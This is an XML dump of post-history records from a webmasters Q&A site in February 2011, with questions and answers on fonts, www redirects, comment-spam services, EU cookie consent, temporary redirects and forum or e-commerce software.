  <row Id="19579" PostHistoryTypeId="3" PostId="8962" RevisionGUID="ea25ed67-1a8d-4325-9fd5-c17a6c049ebc" CreationDate="2011-02-10T05:33:12.983" UserId="3486" Text="&lt;paypal&gt;" />
  <row Id="19580" PostHistoryTypeId="5" PostId="8955" RevisionGUID="fa061260-fcc0-4a75-ac1c-df468352ebb8" CreationDate="2011-02-10T06:37:31.190" UserId="4803" Comment="Elaboration" Text="JQuery Plugins: http://plugins.jquery.com/projects/plugins?type=48&#xD;&#xA;&#xD;&#xA;I'm sure there's a slideshow that is automatically scalable.&#xD;&#xA;&#xD;&#xA;&lt;b&gt;EDIT&lt;/b&gt;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;My apologies for a bad answer, allow me to elaborate.&#xD;&#xA;&#xD;&#xA;Using a JQuery Slideshow, such as &lt;a href=&quot;http://plugins.jquery.com/project/WOWSlider-jQuery_Image_Slider&quot;&gt;this one&lt;/a&gt;, you can specify the dimensions to be percentages of the parent element, which would meet your requirements.&#xD;&#xA;&#xD;&#xA;Having a SlideShow that is scalable isn't impossible to implement - though it may just take some innovation on your part to make it look like it belongs in your site." />
  <row Id="19581" PostHistoryTypeId="2" PostId="8963" RevisionGUID="71c132e8-c32a-40c0-a927-c8d327a2af40" CreationDate="2011-02-10T07:10:26.800" UserId="4803" Text="I've searched PW, but I saw that no one has asked specifically yet. Is changing the default font a good practice for the main body font? What are the pros and cons to using different fonts? This includes only font families, and excludes size, color, decoration, etc." />
  <row Id="19582" PostHistoryTypeId="1" PostId="8963" RevisionGUID="71c132e8-c32a-40c0-a927-c8d327a2af40" CreationDate="2011-02-10T07:10:26.800" UserId="4803" Text="Fonts: Is changing the default font a good practice?" />
  <row Id="19583" PostHistoryTypeId="3" PostId="8963" RevisionGUID="71c132e8-c32a-40c0-a927-c8d327a2af40" CreationDate="2011-02-10T07:10:26.800" UserId="4803" Text="&lt;html&gt;&lt;css&gt;&lt;fonts&gt;" />
  <row Id="19584" PostHistoryTypeId="2" PostId="8964" RevisionGUID="75786f7a-aff3-4b73-bab1-9da6717b7f35" CreationDate="2011-02-10T07:21:10.127" UserId="3171" Text="Following on from a response to the question http://webmasters.stackexchange.com/questions/8942/force-www-on-multi-domain-site-and-retain-http-or-https - I was wondering if SEO (specifically, avoiding duplicate content penalties) was the only reason for forcing the www. (or vice versa, if you prefer).&#xD;&#xA;&#xD;&#xA;Are there any other reasons why an authoritative domain name/convention would be desirable?" />
  <row Id="19585" PostHistoryTypeId="1" PostId="8964" RevisionGUID="75786f7a-aff3-4b73-bab1-9da6717b7f35" CreationDate="2011-02-10T07:21:10.127" UserId="3171" Text="Is (was) SEO the only reason to force the www. on domain names?" />
  <row Id="19586" PostHistoryTypeId="3" PostId="8964" RevisionGUID="75786f7a-aff3-4b73-bab1-9da6717b7f35" CreationDate="2011-02-10T07:21:10.127" UserId="3171" Text="&lt;domain-names&gt;" />
  <row Id="19587" PostHistoryTypeId="2" PostId="8965" RevisionGUID="ce880c14-4bca-472e-bd26-3ad745c23250" CreationDate="2011-02-10T07:31:29.073" UserId="4311" Text="For some kinds of CDN or global load balancing, you need to create a CNAME for the domain name you're using -- and you can't CNAME your main domain, so you need to use a subdomain. Even if youre not doing this now, if you think you might want to do this in future, it's as well to set it up now so that you don't have to change it later. " />
  <row Id="19588" PostHistoryTypeId="4" PostId="8944" RevisionGUID="a98b256e-8960-40c6-aa6d-578ae2ee51f4" CreationDate="2011-02-10T07:58:59.267" UserId="4803" Comment="Spelling error in title. ane -&gt; and" Text="Software with a blog, CMS and a forum all-in-one?" />
  <row Id="19589" PostHistoryTypeId="24" PostId="8944" RevisionGUID="b4839bdb-11bf-486e-8e8d-ea6945da0326" CreationDate="2011-02-10T07:58:59.267" Comment="Proposed by 4803 approved by 180 edit id of 10" />
  <row Id="19590" PostHistoryTypeId="25" PostId="8964" RevisionGUID="1011383d-aac3-4d56-b964-94529c338392" CreationDate="2011-02-10T08:22:17.860" Comment="http://twitter.com/#!/StackWebmasters/status/35614518792945664" />
  <row Id="19591" PostHistoryTypeId="2" PostId="8966" RevisionGUID="fe644b48-eb9c-45dd-9bf8-77fdefab66a6" CreationDate="2011-02-10T09:08:16.467" UserId="3312" Text="Is there a public list anywhere on the web of IP addresses that have been identified as comment spammers?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="19592" PostHistoryTypeId="1" PostId="8966" RevisionGUID="fe644b48-eb9c-45dd-9bf8-77fdefab66a6" CreationDate="2011-02-10T09:08:16.467" UserId="3312" Text="Comment spammer IP list?" />
  <row Id="19593" PostHistoryTypeId="3" PostId="8966" RevisionGUID="fe644b48-eb9c-45dd-9bf8-77fdefab66a6" CreationDate="2011-02-10T09:08:16.467" UserId="3312" Text="&lt;spam&gt;" />
  <row Id="19594" PostHistoryTypeId="2" PostId="8967" RevisionGUID="d9d1fb1a-ce33-44e1-b26c-2f9a8920122b" CreationDate="2011-02-10T09:47:57.823" UserId="1064" Text="&gt; Is (was) SEO the only reason to force&#xD;&#xA;&gt; the www. on domain names?&#xD;&#xA;&#xD;&#xA;No.&#xD;&#xA;&#xD;&#xA;&gt; Are there any other reasons why an&#xD;&#xA;&gt; authoritative domain name/convention&#xD;&#xA;&gt; would be desirable?&#xD;&#xA;&#xD;&#xA;Run Google's [Page Speed][1] - if you are serving cookies under the root domain (i.e. example.com) you will find that those cookies (per [RFC 2109][2]) are being sent as part of every HTTP request, including requests on static content served under subdomains.&#xD;&#xA;&#xD;&#xA;Instructing clients to send spurious cookie data on every request is a sub-optimal solution - if you want to see the fastest possible turnaround on client requests, it pays to restrict cookie usage to a subdomain (i.e. &quot;www.example.com&quot;) and put your static content on a separate subdomain.&#xD;&#xA;&#xD;&#xA;See the Page Speed [Web Performance Best Practices][3] document for further suggestions in this vein.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/page-speed/&#xD;&#xA;  [2]: http://tools.ietf.org/html/rfc2109&#xD;&#xA;  [3]: http://code.google.com/speed/page-speed/docs/rules_intro.html" />
  <row Id="19595" PostHistoryTypeId="2" PostId="8968" RevisionGUID="e8a96812-985f-4561-8773-995977a99953" CreationDate="2011-02-10T09:50:44.523" UserId="3307" Text="For comment spam, have you tried [Akismet][1] (written by the wordpress crew)? They have an API which you could use (if you're not using wordpress) and is $18 a year for a personal blog or $5 a month if you make money from it, so it's a bit of a deal. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://akismet.com/" />
  <row Id="19596" PostHistoryTypeId="2" PostId="8969" RevisionGUID="2ca9f2e1-89b1-493e-aef0-6601035e3c47" CreationDate="2011-02-10T10:13:12.990" UserId="3903" Text="another option is  http://defensio.com/  Only discovered this the other day so I am not sure how it measures up in catch rate etc against akismet.." />
  <row Id="19597" PostHistoryTypeId="2" PostId="8970" RevisionGUID="95066372-0000-44e7-825b-f8c69c38a150" CreationDate="2011-02-10T10:57:05.007" UserId="1587" Text="We are legally obliged in a few months to obtain consent from users to allow us to store **any** cookies on the users PC.&#xD;&#xA;&#xD;&#xA;My query is, what would be the most effective way of storing this consent to ensure that users don't get repeat requests to give consent in the future, obviously for authenticated users I can store this against their profile.  But what about for non-authenticated users.&#xD;&#xA;&#xD;&#xA;My initial thought, ironically, was to store given consent in a cookie..?" />
  <row Id="19598" PostHistoryTypeId="1" PostId="8970" RevisionGUID="95066372-0000-44e7-825b-f8c69c38a150" CreationDate="2011-02-10T10:57:05.007" UserId="1587" Text="Where to store users consent (EU cookie law)" />
  <row Id="19599" PostHistoryTypeId="3" PostId="8970" RevisionGUID="95066372-0000-44e7-825b-f8c69c38a150" CreationDate="2011-02-10T10:57:05.007" UserId="1587" Text="&lt;asp.net&gt;&lt;law&gt;" />
  <row Id="19600" PostHistoryTypeId="2" PostId="8971" RevisionGUID="e83f7b1f-73ad-40b9-a925-3f07af222493" CreationDate="2011-02-10T11:17:11.670" UserId="4803" Text="You could do it by IP, however I think your cookie solution to the cookie-consent is in concurrence. :)&#xD;&#xA;&#xD;&#xA;But seriously though, a consent cookie seems like the best solution. Give a little popup-window, and if they click 'Consent', then store the cookie. Check for that upon visiting any page." />
  <row Id="19601" PostHistoryTypeId="25" PostId="8966" RevisionGUID="71c8a534-6efd-4669-8990-847a43f78b7b" CreationDate="2011-02-10T11:22:17.793" Comment="http://twitter.com/#!/StackWebmasters/status/35659817624272898" />
  <row Id="19602" PostHistoryTypeId="5" PostId="8968" RevisionGUID="95f2ee9b-d162-4e6e-9ca4-5ecb724dbe25" CreationDate="2011-02-10T11:24:02.867" UserId="3307" Comment="added 239 characters in body" Text="For comment spam, have you tried [Akismet][1] (written by the wordpress crew)? They have an API which you could use (if you're not using wordpress) and is $18 a year for a personal blog or $5 a month if you make money from it, so it's a bit of a deal. &#xD;&#xA;&#xD;&#xA;**Edited for danlefree's comment**&#xD;&#xA;&#xD;&#xA;I guess the free and up to 10,000 pageviews a month could be considered donationware as you can select how much you want to pay. If you select any of the checkboxes it puts a mandatory price on it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://akismet.com/" />
  <row Id="19603" PostHistoryTypeId="5" PostId="6394" RevisionGUID="11b2e565-7d4f-483b-b430-52138ae6c5a6" CreationDate="2011-02-10T11:25:49.247" UserId="3700" Comment="How to recover Open-id account's password which can be logged in by gmail??" Text="I have two `OPEN-ID` accounts referenced with same `gmail` address, now i forget one of my Open ID account's password and when i tried to recover my password then the mail sent by `The MyOpen ID Team` having second one `open-id` account's password change link whereas i need first one ` open-id` password.&#xD;&#xA;&#xD;&#xA;i tries a lot of times to recover but each time mail having `second open-id passord change link` so what do i do `to recover my first open-id password` whereas i m able to login from that open-id  via gmail account.&#xD;&#xA;&#xD;&#xA;i have mailed to open id teams  many times already? but no answer??&#xD;&#xA;&#xD;&#xA;how do i collect all open ID password reset link referencing same email address??&#xD;&#xA;" />
  <row Id="19604" PostHistoryTypeId="4" PostId="6394" RevisionGUID="11b2e565-7d4f-483b-b430-52138ae6c5a6" CreationDate="2011-02-10T11:25:49.247" UserId="3700" Comment="How to recover Open-id account's password which can be logged in by gmail??" Text="Unable to retrive open-id password wheras able to login via gmail only???" />
  <row Id="19605" PostHistoryTypeId="6" PostId="6394" RevisionGUID="11b2e565-7d4f-483b-b430-52138ae6c5a6" CreationDate="2011-02-10T11:25:49.247" UserId="3700" Comment="How to recover Open-id account's password which can be logged in by gmail??" Text="&lt;openid&gt;&lt;password&gt;" />
  <row Id="19606" PostHistoryTypeId="2" PostId="8972" RevisionGUID="935b8e78-f5f9-4436-8673-8f5ce679635a" CreationDate="2011-02-10T12:20:07.303" UserDisplayName="user5072" Text="I want buy .name domain, WHOIS said that it's free, but registrator canceled registration and said that there maybe 3-rd level domain and i cant buy eg. aaaaaa.name if there already registred bbbbbb.aaaaaa.name&lt;br&gt;&#xD;&#xA;&#xD;&#xA;But how can i find ths domain? Maybe it will be free soon?&#xD;&#xA;I tried find it with google and other search machines" />
  <row Id="19607" PostHistoryTypeId="1" PostId="8972" RevisionGUID="935b8e78-f5f9-4436-8673-8f5ce679635a" CreationDate="2011-02-10T12:20:07.303" UserDisplayName="user5072" Text="How to find 3 level of 2 level .name domain?" />
  <row Id="19608" PostHistoryTypeId="3" PostId="8972" RevisionGUID="935b8e78-f5f9-4436-8673-8f5ce679635a" CreationDate="2011-02-10T12:20:07.303" UserDisplayName="user5072" Text="&lt;domains&gt;&lt;registration&gt;&lt;name&gt;" />
  <row Id="19609" PostHistoryTypeId="2" PostId="8973" RevisionGUID="25a30ccd-8553-4ff2-b2c3-8fb663225329" CreationDate="2011-02-10T12:18:29.617" UserDisplayName="macias" Text="I am looking for forum engine (for discussions) with good attack countermeasures built in. Windows (preferrably) or Linux. Free (as beer).&#xD;&#xA;&#xD;&#xA;I think about registration flooding and blocking user accounts attacks.&#xD;&#xA;&#xD;&#xA;For registration, such engine should have at least:&#xD;&#xA;&#xD;&#xA; - captcha&#xD;&#xA; - blocking mulitple registrations from the same IP&#xD;&#xA; - providing login (for logging in) and user name (for displaying the author of the posts)&#xD;&#xA;&#xD;&#xA;For logging in:&#xD;&#xA;&#xD;&#xA;  - no blocking on multiple tries -- instead after X try sending via mail a token, the third piece needed for next login -- without it logging in will be impossible (it would be similar to activation process)&#xD;&#xA;&#xD;&#xA;The engine should be designed with two ideas in mind:&#xD;&#xA;&#xD;&#xA;  - protecting engine against attacks&#xD;&#xA;  - 0 penalty for decent users &#xD;&#xA;&#xD;&#xA;Thank you in advance for your help and recommendations." />
  <row Id="19610" PostHistoryTypeId="1" PostId="8973" RevisionGUID="25a30ccd-8553-4ff2-b2c3-8fb663225329" CreationDate="2011-02-10T12:18:29.617" UserDisplayName="macias" Text="Free forum engine with good anti-attack mechanisms" />
  <row Id="19611" PostHistoryTypeId="3" PostId="8973" RevisionGUID="25a30ccd-8553-4ff2-b2c3-8fb663225329" CreationDate="2011-02-10T12:18:29.617" UserDisplayName="macias" Text="&lt;security&gt;&lt;forum&gt;" />
  <row Id="19612" PostHistoryTypeId="17" PostId="8973" RevisionGUID="d58b400b-0add-4068-bac4-ec2de2cf409c" CreationDate="2011-02-10T12:21:55.407" UserId="-1" Comment="from http://serverfault.com/questions/233823/free-forum-engine-with-good-anti-attack-mechanisms" Text="" />
  <row Id="19614" PostHistoryTypeId="2" PostId="8975" RevisionGUID="358f7bb5-9ff3-44fe-a6ba-8903e60c7123" CreationDate="2011-02-10T12:42:50.380" UserId="1253" Text="Yes, it is reliable enough. Thousands of businesses depend on it and it just doesn't fail. Now, is the plug in reliable? That's something you need to research more." />
  <row Id="19615" PostHistoryTypeId="2" PostId="8976" RevisionGUID="e4461520-185e-4f10-bff0-367324d10c77" CreationDate="2011-02-10T12:49:45.243" UserId="1253" Text="See these two SitePoint articles: [The Anatomy of Web Fonts][1] and [Eight Definitive Font Stacks][2]. &#xD;&#xA;&#xD;&#xA;Basically it is ok to change the font as long as you choose fonts that are available to your users and are readable. It's very normal to do this and allows your website to be more appealing and even more usable if done properly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://articles.sitepoint.com/article/anatomy-web-fonts&#xD;&#xA;  [2]: http://articles.sitepoint.com/article/eight-definitive-font-stacks" />
  <row Id="19616" PostHistoryTypeId="2" PostId="8977" RevisionGUID="ddeaa55e-4df8-4292-b944-55d157bd55a3" CreationDate="2011-02-10T12:52:45.677" UserId="1253" Text="SEO is nothing more then usability, accessibility, semantic mark up, and quality content. Forcing the www falls under usability. By forcing the www you have consistent URLs which is good for users as they can become confused when they see two URLs that are similar but they know are different. " />
  <row Id="19617" PostHistoryTypeId="2" PostId="8978" RevisionGUID="570e18fa-18a1-4311-9af4-8bd5b8e324b4" CreationDate="2011-02-10T12:53:47.017" UserId="5139" Text="I run a (small) news website which has also a forum in a subfolder of the root. I'm planning to give the site a facelift and a code restructuration, so I wanted to put some redirect on the home page that will point directly to forum's index (www.mysite.com --&gt; www.mysite.com/forum) while I tinker with it. &#xD;&#xA;And that, given the little free time I have, will take no less than a couple of month. Being a news site I'm pretty sure that would affect it's overall ranking, but I need to do it, so:&#xD;&#xA;which is the best way to redirect? I pondered and read here and there about the different means, but I couldn't figure out which is worst for SEO.&#xD;&#xA;Do I use a 302 redirect or use &quot;Location:newurl&quot; in page headers using php? Or I just put a meta tag in the html page (or a javascript, what's better).&#xD;&#xA;Sorry but I'm not really into these things, I may have said something silly, I know...&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="19618" PostHistoryTypeId="1" PostId="8978" RevisionGUID="570e18fa-18a1-4311-9af4-8bd5b8e324b4" CreationDate="2011-02-10T12:53:47.017" UserId="5139" Text="Temporary website redirect: 3xx or php/meta?" />
  <row Id="19619" PostHistoryTypeId="3" PostId="8978" RevisionGUID="570e18fa-18a1-4311-9af4-8bd5b8e324b4" CreationDate="2011-02-10T12:53:47.017" UserId="5139" Text="&lt;seo&gt;&lt;redirects&gt;&lt;http-headers&gt;" />
  <row Id="19620" PostHistoryTypeId="2" PostId="8979" RevisionGUID="f1c4c2ea-9a6c-4817-ab11-c9f2def2630d" CreationDate="2011-02-10T13:00:33.797" UserId="3307" Text="Take a look at Matt Mullenweg's suggested way of doing this: http://ma.tt/2003/10/wildcard-dns-and-sub-domains/" />
  <row Id="19621" PostHistoryTypeId="2" PostId="8980" RevisionGUID="8cc451c0-48c2-4756-933f-edb5d5f9bb48" CreationDate="2011-02-10T13:12:59.293" UserId="1253" Text="Do a 307 temporary redirect on the server side. You can do this with PHP or .htaccess, it doesn't matter which. But definitely make sure you send the 307 header as that is what tells the search engines the redirect is temporary and to try again later. Without it they will consider the pages removed which is exactly what you don't want.&#xD;&#xA;&#xD;&#xA;**PHP:**&#xD;&#xA;&#xD;&#xA;    header('Location: /forum', true, 307);&#xD;&#xA;    exit;" />
  <row Id="19622" PostHistoryTypeId="2" PostId="8981" RevisionGUID="41286a2b-ec77-4381-b5e2-047d3d0c00e5" CreationDate="2011-02-10T13:40:07.923" UserId="4803" Text="PHPBB has always been good enough for me. You can implement Captcha and you can configure everything else - though the Captcha has been under ridicule.&#xD;&#xA;&#xD;&#xA;All of the other PHP-based forums have serious security vulnerabilities that I don't think you'd want.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/Comparison_of_Internet_forum_software_%28PHP%29&quot;&gt;For every other feature you might want to know&lt;/a&gt;" />
  <row Id="19623" PostHistoryTypeId="2" PostId="8982" RevisionGUID="7ae047ed-9467-4803-8480-cedf24789fd6" CreationDate="2011-02-10T13:52:55.790" UserId="3467" Text="SEO-wise it's not advised to use a meta-refresh or javascript, because they will not pass pagerank and it'll just evaporate. Instead, use a 302 redirect (htacess or php `header()`). This will ensure that the original homepage maintains it's pagerank while it's under construction.&#xD;&#xA;&#xD;&#xA;But really, can't you tinker with it on a test environment and just upload it to the live website once you're done? That's a lot more SEO-efficient." />
  <row Id="19624" PostHistoryTypeId="2" PostId="8983" RevisionGUID="bf95c7a5-4d36-4405-b31e-7a20523c25af" CreationDate="2011-02-10T13:54:48.713" UserId="3307" Text="[Zencart][1]?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zen-cart.com/" />
  <row Id="19625" PostHistoryTypeId="25" PostId="8978" RevisionGUID="e1f04d66-93e1-405a-b97e-d13593b4b7ac" CreationDate="2011-02-10T14:22:17.777" Comment="http://twitter.com/#!/StackWebmasters/status/35705116157812736" />
  <row Id="19626" PostHistoryTypeId="2" PostId="8984" RevisionGUID="f322bd12-6aa7-4706-bc6f-456e9b9773f7" CreationDate="2011-02-10T14:34:31.857" UserId="1253" Text="[Thickbox][1], which uses jQuery, can do this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jquery.com/demo/thickbox/" />
  <row Id="19627" PostHistoryTypeId="2" PostId="8985" RevisionGUID="061f0444-b7bc-4e6b-83a5-17d7b21f8764" CreationDate="2011-02-10T14:40:25.640" UserId="108" Text="I have been a member of Pro Webmasters since the very beginning.  Answering questions and asking questions myself has helped me grow immensely as a professional.  I love this site and I want help it continue to grow.&#xD;&#xA;&#xD;&#xA;I have been one of the Pro Tem moderators for a while now and I would like to continue being one of your moderators.  I think I have been fair, patient, and respectful of everyone in the community and that makes me a great candidate for future moderator." />
  <row Id="19628" PostHistoryTypeId="2" PostId="8986" RevisionGUID="340ca05b-3f4b-4bb8-ad27-f89462ca632c" CreationDate="2011-02-10T15:42:40.737" UserId="4502" Text="ExpressionEngine ships with a module called Simple Commerce that'd probably cover most basic needs. It also has a few third-party ones like CartThrob if you need more.&#xD;&#xA;&#xD;&#xA;As for Drupal, you might actually look at basing your project on v6(which isn't going anywhere for a while). Depending upon your possibly needing other modules, v7 as a whole might've been out anyway." />
  <row Id="19629" PostHistoryTypeId="2" PostId="8987" RevisionGUID="e99a33ef-5409-4140-b642-26ba7e1293f2" CreationDate="2011-02-10T15:57:04.717" UserId="3718" Text="My personal favourite is Magento. It's PHP, and there is a free version available. The difference between the paid for version and free version is that no support is offered with the free version. This doesn't mean you can't get help on it, because the community is very big and very helpful!&#xD;&#xA;&#xD;&#xA;In my opinion, ZenCart is far too complicated to be of any use to anyone, same with CubeCart. ExpressionEngine is alright, but I doubt it is any good for eCommerce, although as a Blog platform it's my preferred choice (even over Wordpress).&#xD;&#xA;&#xD;&#xA;As for Drupal, make like the English in the middle ages and avoid it like the plague!" />
  <row Id="19631" PostHistoryTypeId="2" PostId="8989" RevisionGUID="deb4849d-9cdb-4386-9624-ea3c97895ca8" CreationDate="2011-02-10T16:22:42.277" UserId="5315" Text="In addition to the other recommendations, I would also check [Project Honeypot][1], it allows you to check by the IP address of the request if they have exhibited malicious activity in the past (the lookup is performed [using a DNS query][2]).&#xD;&#xA;&#xD;&#xA;You can also contribute to the project by creating a honey pot (it is a page on your site that you link to through other pages which is not visible to your users) which will track harvesters.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.projecthoneypot.org/&#xD;&#xA;  [2]: http://www.projecthoneypot.org/httpbl_api.php&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/8966/comment-spammer-ip-list/8968#8968" />
  <row Id="19632" PostHistoryTypeId="2" PostId="8990" RevisionGUID="c6fba348-5d4a-4bff-bf7f-b1fca9e79135" CreationDate="2011-02-10T16:33:46.433" UserId="5317" Text="I'm looking for anyone that has a lot of back end experience with greenstone digital archival software.  This is mainly HTMl and CSS modifications.  It seems like a very small user base and their mailing list is terrible at best.&#xD;&#xA;&#xD;&#xA;If anyone has ever worked with the backend part of this package or knows where I might be able to find some better information it would be much appreciated. " />
  <row Id="19633" PostHistoryTypeId="1" PostId="8990" RevisionGUID="c6fba348-5d4a-4bff-bf7f-b1fca9e79135" CreationDate="2011-02-10T16:33:46.433" UserId="5317" Text="Greenstone Experience?" />
  <row Id="19634" PostHistoryTypeId="3" PostId="8990" RevisionGUID="c6fba348-5d4a-4bff-bf7f-b1fca9e79135" CreationDate="2011-02-10T16:33:46.433" UserId="5317" Text="&lt;css&gt;" />
  <row Id="19635" PostHistoryTypeId="6" PostId="8990" RevisionGUID="2e00a0ee-9060-483d-ba99-5d0ae5f3636a" CreationDate="2011-02-10T16:43:32.697" UserId="1253" Comment="Removed &quot;css&quot; tag and added &quot;software publishing&quot; tags" Text="&lt;software&gt;&lt;publishing&gt;" />
  <row Id="19636" PostHistoryTypeId="5" PostId="8800" RevisionGUID="27ae06a7-d656-42e0-8de9-1d4e7706b026" CreationDate="2011-02-10T16:44:22.697" UserId="5041" Comment="Provided updated information based on comments. Updated with new information." Text="Try using SearchBlox, it is meant for site search and it is free to use. You can create an HTTP collection to crawl through the 1000 pages and make that searchable to your members upon login. Additionally there is a jquery instant search plugin with autocomplete that could also make things better for your members. http://www.searchblox.com/instant-search-jquery-plugin-for-searchblox" />
  <row Id="19637" PostHistoryTypeId="24" PostId="8800" RevisionGUID="bd048c4a-3182-4195-ae3b-4b12c01c1c13" CreationDate="2011-02-10T16:44:22.697" Comment="Proposed by 5041 approved by 1253 edit id of 11" />
  <row Id="19638" PostHistoryTypeId="5" PostId="8966" RevisionGUID="4324c7fa-ae9e-4553-aa0f-afd7255818d0" CreationDate="2011-02-10T16:44:31.963" UserId="5315" Comment="Removed &quot;thank you&quot;, as per meta guidelines." Text="Is there a public list anywhere on the web of IP addresses that have been identified as comment spammers?" />
  <row Id="19639" PostHistoryTypeId="24" PostId="8966" RevisionGUID="c1d1fa06-4f68-47ac-b0f3-fbf7c4e10504" CreationDate="2011-02-10T16:44:31.963" Comment="Proposed by 5315 approved by 1253 edit id of 12" />
  <row Id="19640" PostHistoryTypeId="5" PostId="8525" RevisionGUID="962fd615-a5c5-4506-80eb-69c68942ec73" CreationDate="2011-02-10T16:52:57.000" UserId="3382" Comment="added 270 characters in body; added 110 characters in body; added 4 characters in body; added 12 characters in body" Text="#Chrome:&#xD;&#xA;&#xD;&#xA;1. Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt; to open the **Developer Tools**.  &#xD;&#xA; &#xD;&#xA;2. Click on the &quot;Open console.&quot; icon in the bottom left corner. &#xD;&#xA;&#xD;&#xA;#Safari: &#xD;&#xA;&#xD;&#xA;1. Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt; to display the **Web Inspector**.  &#xD;&#xA;&#xD;&#xA;2. Click on the &quot;Open Console.&quot; icon in the bottom left corner.  &#xD;&#xA;&#xD;&#xA;Note: this only works if the &quot;Show Develop menu in menu bar&quot; check box in the Advanced tab of the Preferences menu is checked!&#xD;&#xA;&#xD;&#xA;#IE9: &#xD;&#xA;&#xD;&#xA;1. Press &lt;kbd&gt;F12&lt;/kbd&gt; to open the developer tools.  &#xD;&#xA;&#xD;&#xA;2. Open the Script tab, click the &quot;Console&quot; button on the right. &#xD;&#xA;&#xD;&#xA;#Firefox 4:&#xD;&#xA;&#xD;&#xA;1. Press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;K&lt;/kbd&gt; to open the **Web console**.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;What about Opera 11?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Clarification:** By console I mean the JavaScript console that lets you input and execute JavaScript code.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19644" PostHistoryTypeId="4" PostId="8525" RevisionGUID="f257147a-d5d9-4b61-b500-5f6b7b0c375a" CreationDate="2011-02-10T16:58:10.487" UserId="3382" Comment="edited title" Text="How to open the JavaScript console in different browsers?" />
  <row Id="19646" PostHistoryTypeId="2" PostId="8992" RevisionGUID="2fd2b94d-7071-44b0-8e84-77a45d6e8963" CreationDate="2011-02-10T17:12:57.477" UserId="3307" Text="I've used [SmartStats][1] before. And [Mint][2] is goods.&#xD;&#xA;&#xD;&#xA;Both are good, but I don't know about using them with A/B testing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smartertools.com/smarterstats/web-analytics-seo-software.aspx&#xD;&#xA;  [2]: http://haveamint.com/" />
  <row Id="19647" PostHistoryTypeId="2" PostId="8993" RevisionGUID="a0fd23e2-e2cb-40b1-92b4-34c87b550ebe" CreationDate="2011-02-10T17:16:51.013" UserId="3307" Text="Doesn't the third line have to be &#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^domain\.com$&#xD;&#xA;" />
  <row Id="19649" PostHistoryTypeId="2" PostId="8994" RevisionGUID="5e095a23-bbc5-4bf7-bc70-ef3f183158c3" CreationDate="2011-02-10T17:42:09.103" UserId="5319" Text="how much revenue could one make by showing a little ad like the ones on the right side here on stack overflow to a customer for 1 hour?&#xD;&#xA;&#xD;&#xA;I have a page where customers stay a longer time (30min to 3hrs) on the same page. Is it possible to generate any money here? I am not looking for the big gain, but I am just curious.&#xD;&#xA;&#xD;&#xA;Thanks for your help" />
  <row Id="19650" PostHistoryTypeId="1" PostId="8994" RevisionGUID="5e095a23-bbc5-4bf7-bc70-ef3f183158c3" CreationDate="2011-02-10T17:42:09.103" UserId="5319" Text="Possible Ad Revenue " />
  <row Id="19651" PostHistoryTypeId="3" PostId="8994" RevisionGUID="5e095a23-bbc5-4bf7-bc70-ef3f183158c3" CreationDate="2011-02-10T17:42:09.103" UserId="5319" Text="&lt;advertising&gt;&lt;google-adsense&gt;&lt;ads&gt;" />
  <row Id="19652" PostHistoryTypeId="10" PostId="8994" RevisionGUID="229c98d9-efec-4e00-9810-fc806b32bcd9" CreationDate="2011-02-10T17:43:37.777" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19662" PostHistoryTypeId="17" PostId="8998" RevisionGUID="00b634fa-0301-4c2b-b988-844ff0e9a3e6" CreationDate="2011-02-10T19:32:36.107" UserId="-1" Comment="from http://stackoverflow.com/questions/4961565/htaccess-redirect-question/4961597#4961597" Text="" />
  <row Id="19663" PostHistoryTypeId="17" PostId="8999" RevisionGUID="e3000fc4-d4a1-48f4-97a7-e867e44c1b36" CreationDate="2011-02-10T19:32:36.107" UserId="-1" Comment="from http://stackoverflow.com/questions/4961565/htaccess-redirect-question/4961628#4961628" Text="" />
  <row Id="19664" PostHistoryTypeId="17" PostId="9000" RevisionGUID="216a8ff0-27dc-4d54-b594-ae4c40276047" CreationDate="2011-02-10T19:32:36.107" UserId="-1" Comment="from http://stackoverflow.com/questions/4961565/htaccess-redirect-question/4961669#4961669" Text="" />
  <row Id="19665" PostHistoryTypeId="2" PostId="8998" RevisionGUID="9bd5841b-e605-4f80-983a-98e1410ed558" CreationDate="2011-02-10T19:20:33.877" UserDisplayName="ChrisJ" Text="On www.my-website.com:&#xD;&#xA;&#xD;&#xA;    Redirect permanent / http://www.destination-wabsite.com/" />
